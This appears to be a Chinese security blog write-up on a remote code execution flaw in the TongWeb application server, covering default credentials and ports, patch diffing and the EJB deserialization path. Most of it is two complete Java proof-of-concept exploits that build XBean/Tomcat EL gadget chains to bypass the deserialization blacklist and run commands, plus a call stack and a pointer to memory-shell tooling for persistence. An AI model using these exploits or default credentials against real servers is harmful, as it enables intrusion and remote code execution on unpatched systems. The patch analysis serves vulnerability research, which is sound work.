
默认账号密码:
1 2 3 4
| # console thanos/thanos123.com # sysweb cli/cli123.com
|
tongweb配置文件:conf/tongweb.xml
默认端口如下:
| 默认端口 |
端口作用 |
| 8088 |
默认应用访问端口 |
| 9060 |
默认控制台端口 |
| 7200 |
JMX端口 |
| 5100 |
EJB远程端口 |
| 8005 |
默认停止端口 |
开启调试:
.\startserver.bat debug 5005

补丁分析
漏洞信息:https://www.tongtech.com/newsDetail/102461.html
补丁下载:https://www.tongtech.com/dft/download.html
影响产品版本:
1 2
| TongWeb>=7.0.0.0, <=7.0.4.9_M9 TongWeb>=6.1.7.0, <=6.1.8.13
|

可以知道漏洞在 8088 web应用端口的ejbserver/ejb接口
看到com/tongweb/tongejb/server/httpd/ServerServlet.class

多了一段代码:
1 2 3 4 5
| String connectorName = OpenEJBValve.connectorName.get(); if (!"ejb-server-listener".equals(connectorName)) { response.setStatus(404); return; }
|
限制了我们的connectorName必须为ejb-server-listener,否则直接返回404
我们通过8088端口访问的话connectorName为tong-http-listener

所以说,这个补丁的作用就如其名:《TongWeb应用服务器关闭web应用端口EJB服务补丁》
漏洞分析
看到applications/heimdall/WEB-INF/web.xml,默认/ejb是被注释的

实则不然
全局搜索/ejb,可以发现在/lib/tongweb.jar!/com/tongweb/tomee/catalina/remote/TomEERemoteWebapp.class

新增了该Servlet
接下来就是反序列化逻辑了
TW7.0.4.2
看到com.tongweb.tongejb.server.ejbd.EjbServer#service

跟进com.tongweb.tongejb.server.ejbd.EjbDaemon#service

调用了两次readExternal,第一次:com.tongweb.tongejb.client.ProtocolMetaData#readExternal

传入的前八个字节必须满足正则匹配
第二次:com.tongweb.tongejb.client.ServerMetaData#readExternal

in.readByte()读取了一位字符,所以我们需要在序列化时先填入一位字符
最后触发反序列化
注意这里用的是EjbObjectInputStream,存在黑名单(这里用的高版本黑名单):
1 2 3
| public BlacklistClassResolver() { this(toArray(System.getProperty("tongejb.serialization.class.blacklist", "org.codehaus.groovy.runtime.,com.tongweb.commons.collections.functors.,com.tongweb.xalan,org.apache.commons.collections.functors.,org.apache.xalan,java.lang.Process,javax.management.BadAttributeValueExpException,com.sun.org.apache.xalan,java.beans.beancontext.BeanContextSupport")), toArray(System.getProperty("tongejb.serialization.class.whitelist"))); }
|
绕过也很简单,打XBean+Tomcat EL即可
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| import com.tongweb.naming.ResourceRef; import com.tongweb.xbean.naming.context.WritableContext; import sun.reflect.ReflectionFactory;
import javax.naming.RefAddr; import javax.naming.StringRefAddr; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.nio.charset.StandardCharsets; import java.util.*;
public class XBeans { public static void main(String[] args) throws Exception { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); Vector<RefAddr> evilVector = new Vector<>(); evilVector.add(new StringRefAddr("forceString", "x=eval")); evilVector.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
setFieldValue(resourceRef, "className", "javax.el.ELProcessor"); setFieldValue(resourceRef, "classFactory", "com.tongweb.naming.factory.BeanFactory"); setFieldValue(resourceRef, "addrs", evilVector); Constructor<?> constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());
com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding binding = new com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding("foo", resourceRef, (WritableContext) constructor.newInstance());
Hashtable hashtable = makeTableTstring(binding);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); baos.write("OEJP/4.6".getBytes(StandardCharsets.UTF_8)); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeByte(1); oos.writeObject(hashtable); oos.close();
byte[] serializedData = baos.toByteArray(); FileOutputStream fos = new FileOutputStream("output.ser"); fos.write(serializedData); fos.close(); }
public static Hashtable makeTableTstring(Object o) throws Exception{ Map tHashMap1 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); Map tHashMap2 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); tHashMap1.put(o,"yy"); tHashMap2.put(o,"zZ"); setFieldValue(tHashMap1,"loadFactor",1); setFieldValue(tHashMap2,"loadFactor",1);
Hashtable hashtable = new Hashtable(); hashtable.put(tHashMap1,1); hashtable.put(tHashMap2,1);
tHashMap1.put(o, null); tHashMap2.put(o, null); return hashtable; } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
@SuppressWarnings ( {"unchecked"} ) public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs); } public static void setAccessible(AccessibleObject member) { member.setAccessible(true); }
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } }
}
|
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| getValue:61, ELProcessor (javax.el) eval:54, ELProcessor (javax.el) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) getObjectInstance:211, BeanFactory (com.tongweb.naming.factory) getObjectInstance:321, NamingManager (javax.naming.spi) resolve:73, ContextUtil (com.tongweb.xbean.naming.context) getObject:204, ContextUtil$ReadOnlyBinding (com.tongweb.xbean.naming.context) toString:192, Binding (javax.naming) get:1251, UIDefaults$TextAndMnemonicHashMap (javax.swing) equals:492, AbstractMap (java.util) reconstitutionPut:1241, Hashtable (java.util) readObject:1215, Hashtable (java.util)
|

内存马可以用:https://github.com/ReaJason/MemShellParty 项目,打TongWeb的Valve

TW7.0.4.9
看到较新版本:TongWeb7.0.4.9_M4_Enterprise_Linux
这里稍作修改,第一个readExternal内容为空

看到第二个:com.tongweb.tongejb.client.ServerMetaData#readExternal

首先读取size>=2,然后调用com.tongweb.tongejb.client.KryoUtil#readFromByteArrayBySize
我们可以直接调用writeToByteArray实现序列化
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| import com.tongweb.naming.ResourceRef; import com.tongweb.tongejb.client.KryoUtil; import com.tongweb.xbean.naming.context.WritableContext; import sun.reflect.ReflectionFactory;
import javax.naming.RefAddr; import javax.naming.StringRefAddr; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.*;
public class XBeans2 { public static void main(String[] args) throws Exception { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); Vector<RefAddr> evilVector = new Vector<>(); evilVector.add(new StringRefAddr("forceString", "x=eval")); evilVector.add(new StringRefAddr("x", "Runtime.getRuntime().exec('touch /tmp/success')"));
setFieldValue(resourceRef, "className", "javax.el.ELProcessor"); setFieldValue(resourceRef, "classFactory", "com.tongweb.naming.factory.BeanFactory"); setFieldValue(resourceRef, "addrs", evilVector); Constructor<?> constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());
com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding binding = new com.tongweb.xbean.naming.context.ContextUtil.ReadOnlyBinding("foo", resourceRef, (WritableContext) constructor.newInstance());
Hashtable hashtable = makeTableTstring(binding);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeInt(2); byte[] data = KryoUtil.writeToByteArray(hashtable,Thread.currentThread().getContextClassLoader(),false); oos.writeInt(data.length); oos.write(data); oos.flush();
byte[] serializedData = baos.toByteArray(); FileOutputStream fos = new FileOutputStream("output.ser"); fos.write(serializedData); fos.close(); }
public static Hashtable makeTableTstring(Object o) throws Exception{ Map tHashMap1 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); Map tHashMap2 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); tHashMap1.put(o,"yy"); tHashMap2.put(o,"zZ"); setFieldValue(tHashMap1,"loadFactor",1); setFieldValue(tHashMap2,"loadFactor",1);
Hashtable hashtable = new Hashtable(); hashtable.put(tHashMap1,1); hashtable.put(tHashMap2,1);
tHashMap1.put(o, null); tHashMap2.put(o, null); return hashtable; } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
@SuppressWarnings ( {"unchecked"} ) public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs); } public static void setAccessible(AccessibleObject member) { member.setAccessible(true); }
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName);
return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } }
}
|
参考:
https://github.com/Gary-yang1/TongwebPlugin
https://mp.weixin.qq.com/s/KVxSWfVhgjj8mejmfl6gGg